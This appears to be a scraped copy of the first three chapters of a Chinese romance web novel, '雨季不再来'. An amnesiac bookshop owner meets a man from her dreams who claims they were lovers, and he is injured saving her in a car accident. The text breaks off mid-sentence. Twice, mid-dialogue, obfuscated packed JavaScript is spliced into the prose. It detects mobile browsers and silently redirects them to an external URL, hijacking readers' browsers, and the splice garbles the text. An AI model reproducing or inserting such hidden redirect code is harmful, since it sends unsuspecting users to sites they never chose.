《雨季不再来》 1. 初见亦重逢 午后打盹时,沈淮棠梦见自己死了。 她虚无缥缈的灵魂,飘在钟楼屋顶褪色的瓦片上,低头瞧着小教堂内举行的简单葬礼。 牧师着圣衣,结束冗长的祷告,引导在场寥寥数人为逝者默哀。 棺内遗体的形容体面整洁,描过面妆,身穿纯白长裙,双手乖巧交叠于腹部,沉睡在斑斓鲜艳的花簇中,像包装过度的礼盒里苍白丨精致的人偶娃娃。 沈淮棠偏首,端详自己陌生又熟悉的容颜。那双淡漠的眼哪怕并未睁开,也能从眉宇间看出三两分清寂的意味。 这般刻意营造出的恬静柔美,倒破坏了原本冷玉般的质感。 片刻后,她不再关注,微微眯起双眼,望向遥远的海平线。 小教堂所在处,是一座四面环海的小岛,行影单孤似镶嵌在汪洋中的一枚珍珠。太阳明亮而冷冽,落下冰晶般的光斑,潮湿的海风送来天边的船笛声。 忽然间,院门响动。 沈淮棠被声音吸引注意,见一位男子疾步而入,风尘仆仆似经历长途赶路。 他怀抱一束盛放的白雪山玫瑰,临近棺材时,方慢下脚步,屏住呼吸,站定后长久地凝视遗体。 她静静垂眸,目光扫过那人寂寥的背影,最终落在他左耳耳廓后一枚殷红的小痣,夺目似玉白的象牙面沁出一滴明晃晃的血珠。 这些年,沈淮棠时常在梦中见到这个男人。 区别于“梦到他”,倒像是“他与梦境本为一体”,如同街边一棵沉默的树,溜达的野猫,或是游戏里的NPC,带着一种诡异又毫无道理的合理性,不起眼却恰如其分地出现。 然而,她并不认识他。 又或者说,不记得他。 二十岁那年,她意外从楼梯滚落,脑袋摔掉大半记忆,醒来后连自己都不认得,遑论是其他无关人等。 哪怕察觉与他或有前缘,可在梦中,他从始至终面目模糊,似缭绕着雾气,她怎么都看不真切。 唯一能确认的特征,也不过那颗别致的朱砂痣。 钟楼发出整点报时的浑厚声响,正逢他轻柔地将白雪山放置在她的胸前,微微卷曲的花瓣末端晕开一抹流云似的淡青。 奇迹蓦然发生——棺中人忽而羽睫轻颤,缓缓睁开眼。 她竟然,活过来了。 怔愣之间,突如其来的铃声打断梦境,沈淮棠骤然落回人间。 混乱的思绪仍在品味着诈尸所带来的怪谲美感,她闭着眼抓过手机,听筒那端传来嘈杂的环境音,余谨忙中抽闲同她说话,语调都比平日快些: “淮棠,帮我个忙。有一份文件临时要用,在我公寓书房,你叫个闪送送来。” 沈淮棠漫不经心抬眸,钟表滴答,这一觉竟睡到临近傍晚。 通常她不大喜欢余谨这般命令式的口吻,仿似毫无商量余地,只不过,她想起今夜他要赴大型商务晚宴,必是分身乏术,人手不够,才会给她打电话。 她大度地单方面原谅,应下也无妨。 然而事情进展并不顺利,待她取到文件,却因下班高峰迟迟寻不到空闲跑腿。 沈淮棠权衡片刻,只好开车给余谨亲自送去,塞车许久,才逃出水泄不通的车流,拐进目的地附近的停车场。 近日冷空气侵袭,鹤城气温骤降,她裹上略显单薄的羊绒风衣与长围巾,闯进深秋夜里冷冽的寒风中,三步并作两步登上天桥阶梯,余光瞟过下方蜿蜒停滞的车灯长龙时,还要分神接一通催促的电话:“再等五分钟,马上到。” 目的地,是金塘艺术馆。 除了开放展览的区域,艺术馆另有大楼作宴会厅,此时正大门敞开,里头稠人广众,另有天地。 管理者守在晚宴接待处核检邀请函,余谨也在此处等待,见沈淮棠到了,回头招呼侍者:“你好,麻烦拿一杯热茶。” 沈淮棠任务完成,不欲多留:“你进去吧,我先回了。” 余谨忙碌,手机响个不停,接电话前迅速安抚一句:“外面冷,喝茶暖暖身子。” 她正准备拒绝,突然,一阵哄笑喧闹从不远处的宴会厅传出。 沈淮棠转眸,下意识循声望去。 只见厅堂中心区,在众人围簇中的一位男子离位站起,眉目舒朗地举杯道别:“你们尽兴,我先失陪。” 酒席即刻响起此起彼伏的挽留声:“小江总才来不到一刻钟吧,怎么这就要急着走呢?”更有甚者站起身来,亦步亦趋的架势似是怕不足显众星捧月的诚意。 仅此一眼,她耳边的纷扰声如潮水般退去,唯剩眼前人。 他的身量高挺,宽肩窄腰撑起挺括西装,却不一板一眼,黑色衬衣的领口扣子松开三两颗,举杯时袖口下滑,露出一截儿流畅的手臂肌肉线条。 再加上那双总蕴着三份笑意的桃花眼,实在过于璀璨,很有种看狗都深情的韵致。 这模样,倒似个风流倜傥的公子哥儿,笑吟吟的,浑然天成的闲雅气质与这推杯换盏的场合无限相融,风力又别具一格。凭谁与他说话,都能被穆如清风地对待。 此时他侧身仰头,将杯中液体一饮而尽—— 沈淮棠却忽而一窒,目光紧紧盯着他左耳耳廓后那颗殷红的痣,与梦中那捧着白雪山来吊唁的男子的耳后痣并无二致。 他向周围展示杯底后笑着放落,言谈举止老练利落。 又有人要为他点烟斟酒,或欲为他送行领路,他仍含笑,却从善如流地抬手朝下一压——充满压迫的禁止手势,将环绕周身的醉翁之意一并回绝了去,“留步”。 身边人果然识趣地退开不少。 沈淮棠仍凝视着他。 然后,她很慢很慢地,眨了一下眼睛,竟感受到目眦欲裂的酸胀。 下一秒,那人似是对这强烈的注视若有所感,无端地朝沈淮棠的方向望来。 双方的视线猝不及防一撞,电光火石。 沈淮棠心间震颤,只因云破天开,迷雾散去,梦中人的音容笑貌此刻竟如此清晰而具象地出现在眼前,无一处不妥帖,仿似天经地义,本该如此。 意想不到的是,见她这般,余谨竟刻不容缓地笼罩过来,高大的身材正好将她望向他的视线全部占据。 而厅堂内的那人,也被人群淹没,再次陷入应酬的漩涡中。 沈淮棠一闭眼,从荒唐的余震里抽离,喃喃疑惑道:“我认识他吗?” “我们家与江家之前并无交往,怎么会认识?”余谨面色不大好,说罢竟催促她,“今天辛苦你了,时间不早,先回去吧。” 她瞥向他,懒得探究叛逆期未过的大龄儿童怎么又翻脸,只将那杯还未入口的茶塞回他手中,潇洒地转身离开,连道别都省去。 走出艺术馆时,已是天光落尽,夜幕四起。她闲庭信步横跨天桥,准备去取车。 忽然间,从街边高大银杏树的枝干深处蹿出一抹小小黑影,沿着扶手悄声而来,闪电般从沈淮棠的脚背跃过,在不远处停住。 她伸手将被晚风吹乱的碎发挽至耳后,端详靴面上一枚清晰可见的梅花印。 始作俑者却没有半点羞愧的意思,深蓝的瞳孔在幽暗中好似跳动的磷火,抖抖胡须,反身围着她风衣衣摆转了个圈儿,拉长声音哎一声,长长的尾巴高高翘起,朝她来时的方向溜了。 沈淮棠的视线追随着小黑猫,蓦然转身,抬眸时竟望进一双浸透黑夜的桃花眼中。 是宴会厅遇到的男人。 他似乎是追得太急,这会儿气都没喘匀,却还是迫切开口:“你不想见到我吗?阿棠。” 沈淮棠一时不知如何答复。 屏息犹疑间,他一步步走近,存在感加倍放大,漩涡般吸引着她的目光。 最终,他停在一个万分合宜的位置,少一步疏远,多一步又冒犯,静静等待着她的回答。 思绪兜转,她无端松口气,像是确认了一个事实:“你认识我。” 这话乍听是疑问句,再琢磨又是陈述句,实在没头没脑。 “不好意思,我之前——”沈淮棠指指太阳穴,礼貌解释,“摔到脑子,以前的事情都忘了,所以,我完全不记得你。” 夜风就在这时候吹了过来,卷起高大的银杏树落下的无数叶子,从沈淮棠身后飘飘荡荡地刮向他,身材颀长的男人站在金色的银杏风雨中,一瞬不瞬地凝视她。 他陷入沉默,似是在辨别她另有隐情,还是故作陌路。 “江未。”他问,“你记得这个名字吗?” 那双含情眼里有温润的神采,静默望来,浮光掠影。 沈淮棠觉出其中的期盼。 他似是想仔细捕捉她听到名字后细微的反应,以此来印证方才她所说的不过谎言—— 然而,什么也没有,她对他的回忆是一片空白,因此也坦诚地摇头。 江未的眸子暗下去,沈淮棠曾在血缘亲人面上见到过这种表情,只因她陌生疏远的态度。 然而这是难以避免的副作用,从她的角度来说,人生似乎是从二十岁才开始。 她仍是她,又并不完全一样。 沈淮棠颔首:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850584|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱歉。” 就算他真是她的梦中人,可在现实生活中,他们之间也仍然生疏,她说不出更自来熟的话,只能抬眼迎上对方复杂的情绪,轻声说,“如果没事,我就先走了。” 江未立刻道:“我送你。” “不必。”沈淮棠拒绝,“我开车了。” 两人一前一后走下天桥阶梯,她感受到身后持久注视的目光,如芒在背,却更加难以回头,干脆将注意力放在脚尖。 “阿棠。”她忽然听见他的呼唤,语气似终于下定决心,“你为什么不问,我们之前是什么关系?” 沈淮棠回头,再次撞进他深潭般的眼眸,见他笑吟吟地说:“你知道吗,我们以前在一起哦,是恋人。” 恋人?她意外地反问:“前男友?” “不,不是前任。”他摇摇头,“我们并没有分手,只是你出意外了。” 他认真凝视她若有所思的神情,双方的注意力高度集中—— 因此,他们并未察觉不远处逼近的危机。 车道上,轮胎划过水泥地,挤压出巨大而尖锐的摩擦声响,一辆失控的汽车竟突地转向,朝着他们所在的天桥底方向猛冲而来! 沈淮棠骤然回眸,却被明亮刺目的远光灯铺天盖地吞噬全部视野,瞬间致盲。 在什么也看不见的两三秒里,她本能地后退闪躲,却落入有力的臂弯,江未从背后抱住她迅速拖行,紧接着,是轰然巨响与尖锐的耳鸣—— 刹那的失重后,他们摔落在地,带着巨大惯性滚了几圈。 如此猛烈的魂惊胆落,她的眼前仍然一片漆黑,下意识蜷向他。 短暂失明时,其他感官尤为敏感——沈淮棠在爆鸣般的晕头转向中,偎依着他滚烫的体温与起伏的心跳,以及一缕若有若无的起泡酒的清醇香气,还有……血液腥甜的味道。 她的脑海中登时警铃大作,不断呼唤道:“江未!江未!” 生理泪水不断涌出,沈淮棠使劲眨眼,视线中无数的雪花点才意犹未尽地缓缓褪去。 她终于看清,江未像一条搁浅的鱼,蜷缩仰首,浅短混乱地喘息着,浑身颤抖,剧烈的疼痛让他的每一次呼吸都如同刀割。 血液从他身下蔓延而出,给砖路上金色的银杏落叶堆染上浓烈的颜色。 刺骨的寒风洞穿沈淮棠似在沸腾油锅中浸泡的脑袋,前额神经突突地跳,她不知江未到底伤在何处,不敢擅自移动他,只能去摸口袋里的手机,却觉得手指哆嗦得难以自控,低头一瞧,方察觉自己也受了伤,深红的液体从苍白的指尖滴落,混入江未身下的血泊。 沈淮棠瞳孔微颤,撇开眼去,迅速拨打报警电话。 医院不远,救护车抵达后,快要疼痛得失去意识的江未被推走。 得他眼疾手快的庇护,此次意外,沈淮棠仅受皮外伤。 处理完毕后,她辗转三番,想打听江未伤情,得到的却是“不便奉告”,更有后赶到的江未秘书来处理醉驾车祸的后续问题,顺带替老板与她这位路人甲划清界限,省得事后被斥责办事不力,拖泥带水。 沈淮棠欲言又止,只能将那些良心未泯的话语吞下,道谢分别,以免被误解她在借机攀亲。 他们就此失联。 回到原地取车,她沉默不语地在光怪陆离的霓虹彩光间穿行,未久拐入寂静的夜色,停在巷口一家名为“栖居”的书店前。 推开书店的楠木大门,映入眼帘的波纹窗户边的一把藤椅,绵软的毛巾毯上蜷缩着一只漂亮三花猫,见她归来,立刻眯着眼睛发出欢迎的呼噜声。 脱下风衣,沈淮棠走至浴室,凝视着镜子里倒映出的清冷面容。 这一路上她的脑中反复出现晌午诡异的梦境,隐隐带着谶言的意味——已经死亡的沈淮棠,在接受江未的花束后,再次睁开眼睛——如同今夜突如其来的厄运,若非江未护她,此时躺在病床的则是她本人。 她一时失神,脑海中浮现江未在金色的银杏风雨中走向她的样子,他说,“阿棠,你不想见到我吗?”转眼间,他倒在血泊中,结实臂膀无力垂下,松懈与她的拥抱。 今夜的一切发生得太快。 快得她都来不及确认,他们到底是初见还是重逢,就已经再次分别。 打开水龙头,清凉的水淌过掌心,有冰凌凌的刺痛感,她才发现,或许因为受伤还开车,手仍在控制不住地颤抖着。 握拳,再张开。 并无好转。 双手撑在水池边,她缓缓闭目,半晌长长地呼出一声颤抖的叹息。 2. 我是你的理想型 从浴室出来,沈淮棠才注意到有十几个未接电话,来自余谨。 她回拨后,抢先在挨数落前自陈:“手机静音,在开车没有看到,我没事,已经回书店了。” 余谨被这组合拳堵得一噎,再三确认她平安无事后,才勉强放下心:“差点就被云姨和阿慈扒一层皮。” 他所说的云姨是沈淮棠的姨母,以及表妹余慈,是她如今仅剩的亲人。而余谨则是余慈同父异母的哥哥,与她虽无血缘关系,亦有一同长大的情分。 沈淮棠问道:“江未怎么样了?” 听到这个名字,余谨沉默片刻才说:“他没大碍,已经转院了。” 她还想再问,他却用一如既往不容置疑的语气,斩钉截铁切断谈话:“这只是一场意外,不会再有后续,你别再问了。” 又碰了个软钉子,沈淮棠想起今夜他挡在眼前的身影,知道是问不出什么了,干脆快快结束通话,转而打给表妹余慈:“你认识江未吗?” “我们上回不是聊过嘛,江氏集团的小江总呀。”余慈闻言甚至兴致勃勃,语气里充满兴奋,“姐,今天小江总从宴会追出去找的‘神秘女子’,该不会是你吧?” 沈淮棠坦然道:“是我。” 脑子里却开始检索起上回见面时余慈的长篇大论。 姐妹俩久未见面,挤在被窝里,怕是说了有两吨废话,其中各家八卦占了八成,过脑就忘。直到这会儿,她才后知后觉地挖出那些左耳进右耳出的细枝末节—— “江氏集团你都不知?是滨城的,来鹤城才一年不到……” “江氏麾下的文化公司最近动作颇多,不过人家财大气粗,倒也正常……” “我想起来了,姐,你之前作品的游戏版权不就是卖给江氏了吗?” “哎,下周的宴会办得肯定很热闹,没办法,文化类目过大,从游戏到社媒,文学艺术到影视音乐,说是人才济济卧虎藏龙,哥哥肯定忙得像陀螺……” 她们之间的聊天话题,上能窜天下能入海,三言两句又说到别的地方去,沈淮棠虽说曾与江氏集团有交集,可公司那么大,合同事项自有其他工作人员推进,更是够不着那神龙见首不见尾的“小江总”,自然当秋风过耳,毫不在意。 “你们什么情况啊?”余慈乐滋滋地问,“姐,我以前可从来没听你提到过小江总啊。” “我倒还想问你呢。”沈淮棠的思绪被扯回,也无法回答妹妹的问题,只能换个方式排查,“我以前谈过恋爱吗?” 原本她并不在意年少轻狂时旖旎的二三事,可江未看上去也没那么热心肠,会在危急时刻舍身救一个无关痛痒的人。 没有分手的……恋人吗? “你哪有空谈恋爱啊?”余慈笑笑,“以前要上学,还要照顾你妈妈,再后来,你一直在养病,途中竟然还摔失忆了,忙忙叨叨过了二十年,我看着,现在的你才算清闲些吧。” 这倒也是。 沈淮棠深以为然,线索却在这里断了。 深夜,她从旧物堆里翻出曾经的日记,企图再从中捕捉蛛丝马迹。 原本她并无写日记的习惯,最初也不过是为了照顾生病的母亲,早在智能手机还未普及的年代,需要手写记录她每日服药的类目剂量,以及平日状态等,好在复诊时向医生汇报。 久而久之,她在记录之余也会随手写下当日心情,次数多了,干脆专门准备其他笔记本书写。 虽然日记总会间歇性突变成周记或月记,但时间跨度却足有七年,从十岁到十七岁,内容大多与母亲的病情相关,其次是愈发繁重的课业,期间穿插着些许陌生的名字,没有江未。 直到母亲去世,日记戛然而止,末篇只有两个力透纸背的大字,“风过”。 风是母亲的名字。 沈淮棠失去记录生活的初衷,身体亦抱恙,转而专心养病,竟在失忆前投入虚幻创作,写了一本奇幻长篇,文中妖魔鬼怪横行,自然也没有江未的影子。 后来,小说出版,余温不减,也算是小有成就。 如今仍有读者在社交平台上问她,为何五年都不再有新书?她难以直言,二十岁人生翻新,前尘种种好似上辈子的事情,她再也无法提笔写下任何。 五年来,她安安稳稳地养病,读书毕业,回到鹤城开一家书店。 若非阴差阳错遇到江未,她的日子会继续平静无波地过下去。 沈淮棠歪坐在波纹玻璃窗边的藤椅上,找回以前的社交账号,翻阅着和她人一样沉默的朋友圈,这么多年竟然只发了寥寥数张风景照,连文案配字都没有,更别提其他人。 柔软的毛毯将她包裹起来,温暖得让人有些困倦。 她有一下没一下地抚摸着怀中肥美的三花猫,静静地思索着。 江未,他到底是谁呢? 就在此时,她的手机忽然震动,屏幕显示一串陌生号码。 · 三日后,沈淮棠抵达鹤羽医院vip病房楼栋,与门前等候的小杨颔首致意。 小杨是江未的秘书,此处安保森严,出入上下都需要刷卡。 他领着沈淮棠进入电梯后,默不作声地从镜面中审视这位让老板惦记的路人甲,是很漂亮,冰肌玉骨衬得眼睫极黑,也显得清清冷冷不近人情。 沈淮棠并非察觉不到小杨探究的眼神,只作未见,屏息静气地跟随他穿过医院长廊,抵达病房门口。 小杨敲门,得到允许后进入,里面是宽敞整洁的套间,各色家具一应俱全,瞧着不像病房,倒像是星级酒店。 江未半躺在病床上,侧脸对窗,正在接电话,似乎是工作相关。听见他们进来,头也未回,只抬手做了个稍等的手势,继续将暂时无法亲自处理的事情安排下去。 小杨引着沈淮棠在沙发坐好,为她斟上一杯茶,便先退了出去。 等待期间,她静默地观察江未。 宽大的病号服将他衬得瘦削,面颊嘴唇也苍白,但目前仍有余力处理工作,说话声音平定清晰,甚至带了些冷肃的意味,应该已经过了最严重危险的时期。 沈淮棠悬着的心稍安,正逢江未将电话挂断,转眸对上她的视线。 她先开口:“你还好吗?” “我不好。”江未叹气,将手机随便一丢,整个人往柔软的靠枕里陷,控诉道,“肋骨骨裂,疼得我只能靠止痛续命,还得躺一个多月,这是什么酷刑……” 沈淮棠微微讶异于他翻脸之快,刚才处理工作时分明稳定得游刃有余。可这事儿确实该怨她,毕竟他是因为她才横遭此劫,她不会推卸责任。 于是,她诚恳道:“抱歉,是我不好,你想要我怎么补偿你呢?” 言下之意,是允许他狮子大开口。 江未闻言,眉毛一扬,打量她两眼:“你是真什么也不记得了?” 沈淮棠颔首:“是。” 他再次露出那一夜她见过的复杂眼神,说不出是庆幸还是伤感,或许还掺杂着些许怀念,半晌自言自语般喟叹道:“唉,这叫我如何是好?” “那天晚上你说不记得我,我都没反应过来,差点把你放走了。” 他摇头无奈道,“好不容易再遇见你,我还想讨个说法呢——当年你为什么要抛弃我离开?怎知你这个负心女人竟然把我忘光光,真是,找谁说理去。” 沈淮棠疑惑反问:“抛弃?” “对啊。”江未理直气壮地看过来,桃花眼睁得溜圆,“都说了,我们可是恋人关系,你就留一句‘不要再来找我了’,从此人间蒸发,把我当什么呢?” 沈淮棠沉默了。 她回想起翻过的日记与作品,再三确认并无江未的痕迹,可余谨的语焉不详,以及这些年特殊的梦境,总让她觉得,或许其中真有误会。 见她态度稍有松动,江未再接再厉,笑眼弯弯地一抬下巴:“之前你说,对我是一见钟情,最喜欢我这张脸,摸一把眉开眼笑,亲一口心花怒放——身体的反应最诚实,你为什么不凑近来看看,我还是不是你的理想型?” “这不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850585|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。”沈淮棠婉拒,“今时不同往日。” 不过,他说得对。 身体的反应最诚实。 那天夜里,只是在宴会厅门口的遥遥一瞥,她的眼中就再无其他人,甚至还生理性地眼热鼻酸,若非强行回神,怕是要顷刻泫然。 以及在见到受伤的江未时,她慌张难忍,甚至还有后知后觉的透骨酸心。那是极度陌生的感觉,实在让她茫然。 江未眼中有一闪而过的失落,却并不气馁,继续对她招招手,拍拍床沿:“我知道你不信,过来,我给你看个东西。” 沈淮棠总不可能真坐他病床上去,于是各退一步,她搬了把椅子,坐在床边。 江未从衣领里拽出一条项链,她伸手接过,链坠是一枚简素的银戒,圆润的边缘已有磨损,那是长期佩戴的痕迹。 她随意翻转,发现戒指内侧刻着一个小小的“棠”字。 “你看你这一言难尽的表情,还嫌弃上了?”江未被她的表情逗乐,笑出声来,他重新拿回项链,拆开卡扣,将戒指单独摘出,“你之前说,这是在街边买的,九块九两枚,包刻字,相当划算。” 沈淮棠瞬间开始自我怀疑:“我还买了两枚?” “另一枚刻着我名字,在你那里。”江未似笑非笑地看着她,“怎么,丢了?” 她迟疑地摇摇头:“没见过。” 江未没再纠结这问题,而是挣扎着要坐起来,朝她摊开掌心:“手给我。” 沈淮棠见他忍痛至额间霎时渗出细汗,立时顺意将手伸过去。 直到今天,她的手仍有些难以自控的颤抖,他一瞥便明白原因,连托住时都极其小心,尽量避免碰到纱布包扎的位置。 江未轻柔地将戒指套进她的无名指。 他的手比她的大一圈,衬得她手指极为修长纤细,而那枚银戒却戴得正正好好。 江未下意识用大拇指指腹眷恋地蹭过戒指表面,这似是他常做的动作,不经意间,也擦过她的手指,温暖轻痒似羽毛蹭过心脏。 下一秒,他放开,对她轻笑道:“你看,尺寸也正合适。” 沈淮棠垂眸细瞧,心间淌过新奇异样的河流。她低声问道:“我们是什么时候认识的?” 江未不假思索回答,显然早已烂熟于心:“大概八年前,快九年了,在梦港岛。” 她的脑海中浮现梦中风光旖旎的海岛:“莫非岛上还有个小教堂?” 江未眼睛一亮:“你记起来了?” 见她摇头,他继续说:“那时候你才十七岁呢,在岛上治病,话也不会说,是个小哑巴,偶尔会去教堂随他们一起做礼拜,不过,你倒没有宗教信仰,单纯觉得唱诗班唱歌好听,礼拜结束,还有免费的牛奶面包。” 沈淮棠听到此处,微微笑一下。 小哑巴这事儿,她曾经听云姨说起过。 十七岁时,相依为命的母亲离世,云姨从国外飞回来,协助沈淮棠办后事。 她原本性子就寡淡少言,再加上那段时间郁郁无神,云姨一开始根本没注意她的异样,等发现时,她已经说不出话了。 “我在梦港岛有一处店铺,偶尔会去看看,注意到你时常在我店里呆着。一开始我以为,你是初来国外不适应,而我店里有许多汉字,我们也能用母语交流。” 他说着,情不自禁又笑起来,“后来我才发现,好家伙,你是去我店里睡觉的。” “就躲在货架后的沙发,抱着小猫一起睡得迷迷糊糊,我问你怎么回事,你给我写两个大字:失眠!写的时候,你连眼睛都睁不开,像是失眠的样子吗?” 他的描述生动,沈淮棠听出趣味来,偏头问道:“你开了一家什么店?” 这一回,江未忽而陷入沉吟。 他缓缓转眸,瞳孔宝光流转,半晌轻声道:“是一家书店,阿棠。” 沈淮棠似乎预感到什么,手指微微蜷起。 江未凝视她,声音是前所未有的平静与温柔:“这家书店的名字,叫‘栖居’。” 3. 旧日恋人 书桌前,沈淮棠铺开纸张,提笔书写。 梦港岛,戒指,书店。 她在“梦港岛”下方划出一条横线,目前只有这个地点可查证。 网络上的资料显示,梦港岛远离大陆,位于汪洋深处,鲜为人知。 岛并不大,从港口上岸,入目之处是一片形形色色的店铺市集,绕小路即可走到旅客流连的沙滩。 沿着海岸线一路慢行,就能看见岛上居民的生活区,那一座小教堂在小岛的最高地,极为醒目,而相反的,在岛上植被最繁茂处,却藏着一家宁静安和的疗养院。 总而言之,这是一座远离城市喧嚣的疗愈之地。 沈淮棠翻看着电脑屏幕上的照片,碧光粼粼的海面、金光灿烂的沙滩与颜色浅淡的建筑,毫无记忆。 然而仔细看过手头上留存的病历,当初她确实是在梦港岛上的疗养院养病。 她用笔帽戳戳额头,冥思苦想,却未有结果。 说实话,她已经很久没有因为失忆而困扰过了,五年的时间,足够让她想清楚活在当下的道理,而那些流沙似的过往,越想抓紧,就越是争先恐后从指缝流走,实在难以强求。 只是,江未出现后,她的心里总浮现隐隐淡淡的不甘,细究源头,情绪又隐藏消失,毫无踪影。 那天她与江未没有再说更多,探病时间已到,他该休息了。 离开之前,她摘下银戒归还,指尖触碰他掌心时,她低声问:“为什么不来找我呢?” 江未哽住一瞬,轻轻眨眼,一时间似乎有千言万语要说,可到最后,他也只是抬眸狡黠一笑:“等你下次来探病的时候,我们再聊。” 成年人之间的“下次”,大多是托辞。 江未大抵想到这话的不严谨之处,特地给沈淮棠发信息确认时间:“下周一有空吗?” 他又补一句,“不要再带一箱钙片来了,这玩意儿也不能当饭吃。” 这溢出屏幕的嫌弃感,让沈淮棠啼笑皆非,她回想起宴会厅里他潇洒风流的模样,觥筹交错时能八面见光,却又带着三两分骄矜的压迫感,如此笑面虎,怎知私底下竟有种一本正经的好笑。 她回复:“好。” 正在此时,门挂风铃叮当作响,栖居的楠木大门被推开。 沈淮棠正要说句“欢迎光临”,抬眸见来者是余谨,转而扬扬下巴,算作招呼。 余谨大步流星走来,将手中纸袋放在桌上:“知道你肯定没吃,顺路给你带了鳗鱼饭。” 她将纸笔收起,伸了个懒腰,朝他眯眯眼:“谢谢。”像只惬意的猫。 余谨无意间瞥见她电脑屏幕上梦港岛的照片,登时警觉道:“怎么在看这些?” 沈淮棠拆着鳗鱼饭的包装盒,漫不经心回答:“找找记忆。” 他微微皱眉:“因为江未?” “因为江未。”沈淮棠慢悠悠地说,试探他的态度,“谁让你锯嘴葫芦似的,我只能自己查了。” 见余谨面色沉沉,她又说,“不过,也不止因为他,我还想知道这本书怎么写出来的。” 她指指旁边的书本,那是她失忆前的作品,这几天为了寻找江未的痕迹,又重新拿出来翻了一遍,“再不写第二本,我的读者全都要流失干净了。” 余谨根本不接她的话茬儿,双手撑在桌沿,严肃地俯视她,声音亦是冷硬:“你去见江未了,对吗?淮棠,不管他跟你说什么,通通不要搭理,听到没有?” 她立时想通关窍,抬眸平静注视他:“你也去见江未了,对吗?因为他曾是我男朋友?” “他是这么说的?”余谨的语气霎时间染上嘲讽,冷哼道,“他也配?” 沈淮棠心平气和地细嚼慢咽,腾手给他倒了一杯菊花茶,慢慢推过去:“你这么大火气做什么?你之前说,是我自己滚下楼梯才摔到脑子,但看你现在这样子,莫非当时是他把我推下去的?” “如果当时是他推你,我可不是骂他两句就算了。”余谨拉着个脸,没动茶杯,只定定地瞧着她那张处变不惊的面孔。 五年前的意外,让她身上最柔软的部分与记忆一同消失,她不再叫他哥哥,遇事也不再与他商量,变得陌生而冷硬。 不过,解决事情的方法却没有变过。 她与别人意见相悖时,从不会大吵大闹,而是用以不变应万变的态度,强迫挡路者让道。 无论他怎么说,沈淮棠并不松口。 沉默地对峙许久后,余谨终于退步,回忆道:“你那天约他在废弃灯塔上见面,等了整整一天一夜,他没有来,你精疲力尽,冻得高烧,下来时踩空滚落,才导致……这种人,还敢自称是你男朋友?” 沈淮棠闻言,想到江未在医院时说,她留给他一条“不要再找我了”的信息,就此消失。 若是久等一夜也无音讯,心中失落才说这句话,倒也合乎情理。 然而,她还是摇摇头道:“他来与不来,与我的意外没有直接关系,既然灯塔已经废弃,本来就有安全隐患,就算他来了,我在楼梯踩空的概率也绝不是零。” 余谨说:“可你恐高,怎么可能会主动约在灯塔见面?” “这倒是。”她若有所思,夹着一块鳗鱼忘记入口,“我竟然能克服恐惧爬上灯塔,约他见面,必然是投其所好,不知是为了看海还是看星星……再加上你对他意见那么大,看来,当时的我应该挺喜欢他。” 余谨咬牙切齿:“你还在为他说话?” 沈淮棠无辜道:“我只是在客观分析。” “吃你的饭,别分析了。”余谨大手一挥,语气不容拒绝,“他以前不曾接受你,现在又何必来招惹你,怕是失去你以后,才想起你的好,这种人,没有继续交往的必要。” · 周一,沈淮棠如约抵达鹤羽医院,小杨领着她到江未的病房门口,便离开了。 她进门的时候,正巧碰见护工在给江未换药完毕,正在小心翼翼地缠绷带。 伤口很疼,江未为了转移注意力,转头看着窗外的晴空与流云,嘴唇因隐忍而紧紧抿着。沈淮棠这会儿才发现,原来他不笑的时候,气势更偏凌厉,连带着侧脸都冷峻起来。 听见开门声响后,江未转眸看来,神情未变,眼里却乍然绽放无与伦比的光华。 沈淮棠对他眨眨眼,站在旁边等待,顺便欣赏一番旧日恋人漂亮的身体。 第一回见小江总时他身穿西装,第二回是病号服,皆将他的身形遮得七七八八,瞧着高大瘦削,肌肉若隐若现,此时上半身未着寸缕,才显出洁净流畅的线条来,而束缚他的绷带与肌肤上星星点点的微红擦伤,更是……锦上添花。 沈淮棠中肯地评价自己,眼光不错。 她欣赏的目光过于放肆坦然,倒让江未疑窦丛生,却又不好开口,待护工终于离开,他整肃的面色未变,耳垂却似染了桃花红,更显得那颗红痣鲜艳欲滴。 他不看她,自顾自穿上病号服,瞄一眼她饶有兴趣的眼神,嘀咕一句“臭流氓”,又指着放置在窗台上的一小束花朵,“给你的花。” 那是一束白雪山,淡青落在纯白上,似寒冬后的第一抹春意。 她的目光一顿:“为什么送我这个?” “你……”江未盈盈而动的眼神逐渐变得慎重,“现在不喜欢花了吗?” 沈淮棠接过,垂眸浅嗅,半晌颔首:“还行,算喜欢吧。” 听到她的肯定,江未不露声色地松口气,目光在她双手间逡巡,左右三番后,终于确定她两手空空,登时又难以置信起来:“让你别带钙片,别的也都没有啦?” 沈淮棠轻笑,并不作答。 如上次般,她搬来一张椅子,坐在病床边,单刀直入地问道:“可以说了吗?如果我们曾经是恋人,为什么五年了,你也不来找我呢?” 江未并不意外她的开门见山,闻言轻叹道:“我是不找吗?我是找不到。” “你想想,你我相识在异国小岛,通讯方式仅限手机,收到你最后一条信息,再联系已是被拉黑的状态,回梦港岛后,已经找不到你了。” 沈淮棠确认道:“收到我信息时,你根本不在岛上?” “对,当时我不在,而且那段时间,我们之间多是用电话短信联系。”江未回忆,“我回 